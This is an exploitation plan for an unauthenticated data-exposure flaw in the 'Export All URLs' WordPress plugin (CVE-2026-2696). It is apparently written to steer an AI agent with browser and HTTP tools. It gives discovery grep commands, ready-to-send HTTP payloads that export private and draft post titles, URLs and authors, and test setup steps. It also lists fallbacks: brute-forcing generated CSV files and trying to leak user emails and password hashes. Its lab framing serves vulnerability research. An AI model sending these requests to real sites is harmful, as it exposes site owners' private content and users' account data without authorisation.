Exploitation Research Plan: CVE-2026-2696 (Export All URLs)

1. Vulnerability Summary

The Export All URLs plugin (versions < 5.1) is vulnerable to Unauthenticated Information Exposure. The plugin fails to perform proper capability checks (e.g., current_user_can('manage_options')) or nonce verification on the code path that triggers data exports. Consequently, any unauthenticated actor can trigger a CSV export or a screen display of sensitive site data, including post IDs, titles, private/draft post information, and author usernames/IDs.

2. Attack Vector Analysis

• Endpoint: Likely wp-admin/admin-ajax.php or any front-end page (triggering an init or admin_init hook).
• Action/Parameter: The export is likely triggered by a specific request parameter such as eau_export, export_all_urls, or a similarly named variable handled during initialization.
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active. The attacker needs to identify the exact query parameters used to define the export scope (post types, statuses).

3. Code Flow

1. Entry Point: An unauthenticated request is made to the WordPress site (e.g., GET /?eau_export=1 or GET /wp-admin/admin-ajax.php?eau_export=1).
2. Hook Execution: WordPress triggers the init or admin_init hooks.
3. Vulnerable Handler: A function (likely located in extract-all-urls-settings.php or registered in extract-all-urls.php) checks for the presence of the export trigger parameter ($_GET['eau_export'] or similar).
4. Missing Authorization: The handler proceeds to execute the export logic without verifying if the user has the Constants::PLUGIN_SETTINGS_PAGE_CAPABILITY or is logged in.
5. Information Leak: The handler queries the database (using get_posts or $wpdb) for the requested data (including post_status => 'private' or 'any') and either streams the CSV content directly to the response or provides a link to a generated file.

4. Nonce Acquisition Strategy

This vulnerability is classified as Unauthenticated, which typically implies that:

1. A nonce check is entirely missing in the export trigger path.
2. The check_admin_referer or check_ajax_referer is called but the result is not checked or is bypassed.

Verification Steps for Nonce Requirement:

1. The agent should first attempt the exploit without a nonce.
2. If it fails, search the source code for check_ajax_referer, check_admin_referer, or wp_verify_nonce in proximity to the export logic.
3. If a nonce is required, check if it is localized via wp_localize_script in eau-script (registered in extract-all-urls.php line 44).
4. How to extract if required:
   • Note: Since this is unauthenticated, the script might not be enqueued on the frontend. If it is, use:
   • browser_eval("window.eau_script_vars?.nonce") (Verify the actual variable name in the source).
   • If nonces are only in the admin area, but the export handler is in admin_init, the handler may be accessible without a nonce via admin-ajax.php.

5. Exploitation Strategy

Step 1: Discovery

Search the plugin directory for the export trigger.

grep -rn "add_action" .
grep -rn "init" . | grep "export"
grep -rn "eau_export" .

Step 2: Parameter Identification

Identify the parameters used to filter data. Based on the readme.txt, look for:

• post_type (e.g., post, page)
• post_status (e.g., private, draft, publish)
• eau_fields (Array of fields like post_id, post_title, author)
• export_type (Value csv or display)

Step 3: Trigger Information Exposure

Use the http_request tool to send a request. We will attempt to export Private posts to prove sensitive exposure.

Payload (Targeting admin_init via admin-ajax.php):

POST /wp-admin/admin-ajax.php?eau_export=true HTTP/1.1
Content-Type: application/x-www-form-urlencoded

post_type=post&post_status[]=private&post_status[]=publish&eau_fields[]=post_id&eau_fields[]=post_title&eau_fields[]=post_url&eau_fields[]=author&export_type=csv&eau_submit=Export+Now

Payload (Targeting init via Frontend):

GET /?eau_export=1&post_type=post&post_status=private&export_type=csv HTTP/1.1

6. Test Data Setup

To confirm the exploit, the test environment must have:

1. Export All URLs plugin (v5.0) installed and activated.
2. A Private Post created by an administrator:
   • wp post create --post_type=post --post_title="Secret Sensitive Data" --post_status=private --post_author=1
3. A Draft Post:
   • wp post create --post_type=post --post_title="Draft Internal Strategy" --post_status=draft

7. Expected Results

• Response Code: 200 OK
• Headers: Content-Type: text/csv or Content-Disposition: attachment; filename=...
• Body Content: The CSV data containing the "Secret Sensitive Data" post title and URL.
• Success Indicator: The ability to see titles and metadata of private and draft posts without any cookies or Authorization headers.

8. Verification Steps

After the HTTP request, verify the data matches the database:

1. wp post list --post_status=private --fields=ID,post_title
2. Compare the output with the CSV data captured during the exploit.
3. Check if any user information was leaked: wp user list --fields=ID,user_login.

9. Alternative Approaches

• Display Mode: If export_type=csv fails or filters output, try export_type=display. The plugin might echo the data directly into the HTML response instead of generating a file.
• Filename Brute Force: If the plugin generates a random CSV but doesn't stream it, check the wp-content/uploads/ directory for a folder named extract-all-urls or similar. Even if the filename is random, if the directory listing is enabled or the generation logic is predictable (e.g., based on microtime()), the file can be accessed.
• User Export: Check if post_type=user (inferred) is supported, which would leak user emails and password hashes.